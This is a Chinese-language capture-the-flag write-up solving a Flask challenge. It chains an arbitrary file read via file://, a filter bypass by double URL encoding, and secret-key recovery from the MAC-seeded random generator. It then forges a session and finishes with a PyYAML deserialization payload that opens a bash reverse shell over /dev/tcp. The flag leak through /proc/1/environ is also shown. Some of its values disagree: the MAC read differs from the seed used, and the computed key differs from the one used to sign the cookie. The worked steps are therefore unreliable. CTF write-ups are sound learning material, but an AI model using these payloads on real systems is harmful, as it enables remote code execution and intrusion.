题目链接
三个链接 第一个可以通过file伪协议读取任意文件 第二个上传文件 第三个pwd说明当前目录在/app
非预期:
在read路由读环境变量:/proc/1/environ得到flag:NSSCTF{944467cc-e7ef-446b-92f6-b5f45479e30e}
预期:
在/read路由尝试读app.py和flag发现被正则过滤,url二次编码app/app.py:
得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| import os import re, random, uuid from flask import * from werkzeug.utils import * import yaml from urllib.request import urlopen app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233) app.debug = False BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"] app.config['UPLOAD_FOLDER']="/app/uploads" @app.route('/') def index(): session['passport'] = 'YamiYami' return ''' Welcome to HDCTF2023 <a href="[/read?url=https://baidu.com](view-source:http://node2.anna.nssctf.cn:28427/read?url=https://baidu.com)">Read somethings</a> <br> Here is the challenge <a href="[/upload](view-source:http://node2.anna.nssctf.cn:28427/upload)">Upload file</a> <br> Enjoy it <a href="[/pwd](view-source:http://node2.anna.nssctf.cn:28427/pwd)">pwd</a> ''' @app.route('/pwd') def pwd(): return str(pwdpath) @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('app.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m: return "re.findall('app.*', url, re.IGNORECASE)" if n: return "re.findall('flag', url, re.IGNORECASE)" res = urlopen(url) return res.read() except Exception as ex: print(str(ex)) return 'no response' def allowed_file(filename): for blackstr in BLACK_LIST: if blackstr in filename: return False return True @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] if file.filename == '': return "Empty file" if file and allowed_file(file.filename): filename = secure_filename(file.filename) if not os.path.exists('./uploads/'): os.makedirs('./uploads/') file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) return "upload successfully!" return render_template("index.html") @app.route('/boogipop') def load(): if session.get("passport")=="Welcome To HDCTF2023": LoadedFile=request.args.get("file") if not os.path.exists(LoadedFile): return "file not exists" with open(LoadedFile) as f: yaml.full_load(f) f.close() return "van you see" else: return "No Auth bro" if __name__=='__main__': pwdpath = os.popen("pwd").read() app.run( debug=False, host="0.0.0.0" ) print(app.config['SECRET_KEY'])
|
访问/boogipop并传递file文件名 会执行yaml.full_load(f),触发pyyaml反序列化,但session伪造使得session[passport]=Welcome To HDCTF2023
.
其中random.seed(uuid.getnode())
是使用 Python 中的 random
模块来设置随机数生成器的种子(seed)。在这里,uuid.getnode()
函数返回本机的MAC地址 而app.config['SECRET_KEY'] = str(random.random()*233)
,说明这个secret_key我们可以获取,网卡地址可以通过读取/sys/class/net/eth0/address
,得到02:42:ac:02:6c:b9
1 2 3
| import random random.seed(0x0242ac0221e1) print(str(random.random()*233))
|
得到secret_key是:158.36050847457943
加密:
1 2
| $ ./flask_session_cookie_manager3.py encode -t '{"passport":"Welcome To HDCTF2023"}' -s '211.00504154872561'
|
yaml反序列化内容
1 2 3 4 5 6 7 8 9
| !!python/object/new:str args: [] state: !!python/tuple - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')" - !!python/object/new:staticmethod args: [] state: update: !!python/name:eval items: !!python/name:list
|
命名1.txt在upload页面绕过黑名单 然后访问/boogipop,改session file=/app/uploads/1.txt